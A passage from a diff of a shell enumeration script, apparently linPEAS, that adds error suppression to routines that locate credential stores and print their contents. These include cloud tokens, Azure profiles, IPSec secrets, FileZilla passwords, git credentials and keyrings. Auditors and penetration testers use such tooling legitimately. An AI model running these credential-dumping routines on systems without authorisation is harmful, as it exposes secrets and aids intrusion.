]; then if [ "$DEBUG" ]; then echo_not_found "credentials.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "credentials\.db$" | while read f; do ls -ld "$f" | sed -${E} "s,credentials\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"legacy_credentials\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "legacy_credentials.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "legacy_credentials\.db$" | while read f; do ls -ld "$f" | sed -${E} "s,legacy_credentials\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"access_tokens\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access_tokens.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "access_tokens\.db$" | while read f; do ls -ld "$f" | sed -${E} "s,access_tokens\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"access_tokens\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access_tokens.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "access_tokens\.json$" | while read f; do ls -ld "$f" | sed -${E} "s,access_tokens\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"accessTokens\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "accessTokens.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "accessTokens\.json$" | while read f; do ls -ld "$f" | sed -${E} "s,accessTokens\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"azureProfile\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "azureProfile.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "azureProfile\.json$" | while read f; do ls -ld "$f" | sed -${E} "s,azureProfile\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"TokenCache\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "TokenCache.dat"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "TokenCache\.dat$" | while read f; do ls -ld "$f" | sed -${E} "s,TokenCache\.dat$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"AzureRMContext\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "AzureRMContext.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "AzureRMContext\.json$" | while read f; do ls -ld "$f" | sed -${E} "s,AzureRMContext\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"\.bluemix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".bluemix"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "\.bluemix$" | while read f; do ls -ld "$f" | sed -${E} "s,\.bluemix$,${SED_RED},"; find "$f" -name "config.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"credentials\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "credentials.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "credentials\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,credentials\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"legacy_credentials\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "legacy_credentials.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "legacy_credentials\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,legacy_credentials\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"access_tokens\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access_tokens.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "access_tokens\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,access_tokens\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"access_tokens\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access_tokens.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "access_tokens\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,access_tokens\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"accessTokens\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "accessTokens.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "accessTokens\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,accessTokens\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"azureProfile\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "azureProfile.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "azureProfile\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,azureProfile\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"TokenCache\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "TokenCache.dat"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "TokenCache\.dat$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,TokenCache\.dat$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"AzureRMContext\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "AzureRMContext.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "AzureRMContext\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,AzureRMContext\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"\.bluemix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".bluemix"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "\.bluemix$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.bluemix$,${SED_RED},"; find "$f" -name "config.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_CLOUD_INIT" ] || [ "$DEBUG" ]; then print_2title "Analyzing Cloud Init Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_CLOUD_INIT\" | grep -E \"cloud\.cfg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cloud.cfg"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_INIT" | grep -E "cloud\.cfg$" | while read f; do ls -ld "$f" | sed -${E} "s,cloud\.cfg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy" | grep -Ev "\W+\#|^#" | sed -${E} "s,consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_INIT\" | grep -E \"cloud\.cfg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cloud.cfg"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_INIT" | grep -E "cloud\.cfg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,cloud\.cfg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy" | grep -Ev "\W+\#|^#" | sed -${E} "s,consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_CLOUDFLARE" ] || [ "$DEBUG" ]; then print_2title "Analyzing CloudFlare Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_CLOUDFLARE\" | grep -E \"\.cloudflared$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".cloudflared"; fi; fi; printf "%s" "$PSTORAGE_CLOUDFLARE" | grep -E "\.cloudflared$" | while read f; do ls -ld "$f" | sed -${E} "s,\.cloudflared$,${SED_RED},"; ls -lRA "$f";done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUDFLARE\" | grep -E \"\.cloudflared$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".cloudflared"; fi; fi; printf "%s" "$PSTORAGE_CLOUDFLARE" | grep -E "\.cloudflared$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.cloudflared$,${SED_RED},"; ls -lRA "$f";done; echo ""; fi if [ "$PSTORAGE_ERLANG" ] || [ "$DEBUG" ]; then print_2title "Analyzing Erlang Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_ERLANG\" | grep -E \"\.erlang\.cookie$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".erlang.cookie"; fi; fi; printf "%s" "$PSTORAGE_ERLANG" | grep -E "\.erlang\.cookie$" | while read f; do ls -ld "$f" | sed -${E} "s,\.erlang\.cookie$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_ERLANG\" | grep -E \"\.erlang\.cookie$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".erlang.cookie"; fi; fi; printf "%s" "$PSTORAGE_ERLANG" | grep -E "\.erlang\.cookie$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.erlang\.cookie$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_GMV_AUTH" ] || [ "$DEBUG" ]; then print_2title "Analyzing GMV Auth Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_GMV_AUTH\" | grep -E \"gvm-tools\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "gvm-tools.conf"; fi; fi; printf "%s" "$PSTORAGE_GMV_AUTH" | grep -E "gvm-tools\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,gvm-tools\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|password.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GMV_AUTH\" | grep -E \"gvm-tools\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "gvm-tools.conf"; fi; fi; printf "%s" "$PSTORAGE_GMV_AUTH" | grep -E "gvm-tools\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,gvm-tools\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|password.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_IPSEC" ] || [ "$DEBUG" ]; then print_2title "Analyzing IPSec Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_IPSEC\" | grep -E \"ipsec\.secrets$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ipsec.secrets"; fi; fi; printf "%s" "$PSTORAGE_IPSEC" | grep -E "ipsec\.secrets$" | while read f; do ls -ld "$f" | sed -${E} "s,ipsec\.secrets$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_IPSEC\" | grep -E \"ipsec\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ipsec.conf"; fi; fi; printf "%s" "$PSTORAGE_IPSEC" | grep -E "ipsec\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,ipsec\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_IPSEC\" | grep -E \"ipsec\.secrets$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ipsec.secrets"; fi; fi; printf "%s" "$PSTORAGE_IPSEC" | grep -E "ipsec\.secrets$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ipsec\.secrets$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_IPSEC\" | grep -E \"ipsec\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ipsec.conf"; fi; fi; printf "%s" "$PSTORAGE_IPSEC" | grep -E "ipsec\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ipsec\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_IRSSI" ] || [ "$DEBUG" ]; then print_2title "Analyzing IRSSI Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_IRSSI\" | grep -E \"\.irssi$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".irssi"; fi; fi; printf "%s" "$PSTORAGE_IRSSI" | grep -E "\.irssi$" | while read f; do ls -ld "$f" | sed -${E} "s,\.irssi$,${SED_RED},"; find "$f" -name "config" | while read ff; do ls -ld "$ff" | sed -${E} "s,config,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,password.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_IRSSI\" | grep -E \"\.irssi$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".irssi"; fi; fi; printf "%s" "$PSTORAGE_IRSSI" | grep -E "\.irssi$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.irssi$,${SED_RED},"; find "$f" -name "config" | while read ff; do ls -ld "$ff" | sed -${E} "s,config,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,password.*,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_KEYRING" ] || [ "$DEBUG" ]; then print_2title "Analyzing Keyring Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"keyrings$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "keyrings"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "keyrings$" | while read f; do ls -ld "$f" | sed -${E} "s,keyrings$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.keyring$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.keyring"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.keyring$" | while read f; do ls -ld "$f" | sed -${E} "s,\.keyring$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.keystore$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.keystore"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.keystore$" | while read f; do ls -ld "$f" | sed -${E} "s,\.keystore$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.jks$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.jks"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.jks$" | while read f; do ls -ld "$f" | sed -${E} "s,\.jks$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"keyrings$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "keyrings"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "keyrings$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,keyrings$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.keyring$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.keyring"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.keyring$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.keyring$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.keystore$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.keystore"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.keystore$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.keystore$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.jks$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.jks"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.jks$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.jks$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_FILEZILLA" ] || [ "$DEBUG" ]; then print_2title "Analyzing Filezilla Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"filezilla$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "filezilla"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "filezilla$" | while read f; do ls -ld "$f" | sed -${E} "s,filezilla$,${SED_RED},"; find "$f" -name "sitemanager.xml" | while read ff; do ls -ld "$ff" | sed -${E} "s,sitemanager.xml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^;" | sed -${E} "s,Host.*|Port.*|Protocol.*|User.*|Pass.*,${SED_RED},g"; done; echo "";done; echo ""; - if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"filezilla\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "filezilla.xml"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "filezilla\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,filezilla\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"recentservers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "recentservers.xml"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "recentservers\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,recentservers\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"filezilla$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "filezilla"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "filezilla$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,filezilla$,${SED_RED},"; find "$f" -name "sitemanager.xml" | while read ff; do ls -ld "$ff" | sed -${E} "s,sitemanager.xml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^;" | sed -${E} "s,Host.*|Port.*|Protocol.*|User.*|Pass.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"filezilla\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "filezilla.xml"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "filezilla\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,filezilla\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"recentservers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "recentservers.xml"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "recentservers\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,recentservers\.xml$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_BACKUP_MANAGER" ] || [ "$DEBUG" ]; then print_2title "Analyzing Backup Manager Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_BACKUP_MANAGER\" | grep -E \"storage\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "storage.php"; fi; fi; printf "%s" "$PSTORAGE_BACKUP_MANAGER" | grep -E "storage\.php$" | while read f; do ls -ld "$f" | sed -${E} "s,storage\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "'pass'|'password'|'user'|'database'|'host'" | sed -${E} "s,password|pass|user|database|host,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_BACKUP_MANAGER\" | grep -E \"database\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "database.php"; fi; fi; printf "%s" "$PSTORAGE_BACKUP_MANAGER" | grep -E "database\.php$" | while read f; do ls -ld "$f" | sed -${E} "s,database\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "'pass'|'password'|'user'|'database'|'host'" | sed -${E} "s,password|pass|user|database|host,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_BACKUP_MANAGER\" | grep -E \"storage\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "storage.php"; fi; fi; printf "%s" "$PSTORAGE_BACKUP_MANAGER" | grep -E "storage\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,storage\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "'pass'|'password'|'user'|'database'|'host'" | sed -${E} "s,password|pass|user|database|host,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_BACKUP_MANAGER\" | grep -E \"database\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "database.php"; fi; fi; printf "%s" "$PSTORAGE_BACKUP_MANAGER" | grep -E "database\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,database\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "'pass'|'password'|'user'|'database'|'host'" | sed -${E} "s,password|pass|user|database|host,${SED_RED},g"; done; echo ""; fi @@ -3103,16 +3800,16 @@ fi if [ "$PSTORAGE_GITHUB" ] || [ "$DEBUG" ]; then print_2title "Analyzing Github Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.github$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".github"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.github$" | while read f; do ls -ld "$f" | sed -${E} "s,\.github$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.gitconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".gitconfig"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.gitconfig$" | while read f; do ls -ld "$f" | sed -${E} "s,\.gitconfig$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.git-credentials$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".git-credentials"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.git-credentials$" | while read f; do ls -ld "$f" | sed -${E} "s,\.git-credentials$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.git$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".git"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.git$" | while read f; do ls -ld "$f" | sed -${E} "s,\.git$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.github$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".github"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.github$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.github$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.gitconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".gitconfig"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.gitconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.gitconfig$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.git-credentials$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".git-credentials"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.git-credentials$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.git-credentials$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.git$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".git"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.git$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.git$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_SVN" ] || [ "$DEBUG" ]; then print_2title "Analyzing Svn Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_SVN\" | grep -E \"\.svn$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".svn"; fi; fi; printf "%s" "$PSTORAGE_SVN" | grep -E "\.svn$" | while read f; do ls -ld "$f" | sed -${E} "s,\.svn$,${SED_RED},"; ls -lRA "$f";done; echo ""; + if ! [ "`echo \"$PSTORAGE_SVN\" | grep -E \"\.svn$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".svn"; fi; fi; printf "%s" "$PSTORAGE_SVN" | grep -E "\.svn$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.svn$,${SED_RED},"; ls -lRA "$f";done; echo ""; fi @@ -3121,94 +3818,96 @@ if [ "$PSTORAGE_PGP_GPG" ] || [ "$DEBUG" ]; then ( (command -v gpg && gpg --list-keys) || echo_not_found "gpg") 2>/dev/null ( (command -v netpgpkeys && netpgpkeys --list-keys) || echo_not_found "netpgpkeys") 2>/dev/null (command -v netpgp || echo_not_found "netpgp") 2>/dev/null - if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.pgp$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.pgp"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.pgp$" | while read f; do ls -ld "$f" | sed -${E} "s,\.pgp$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.gpg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.gpg"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.gpg$" | while 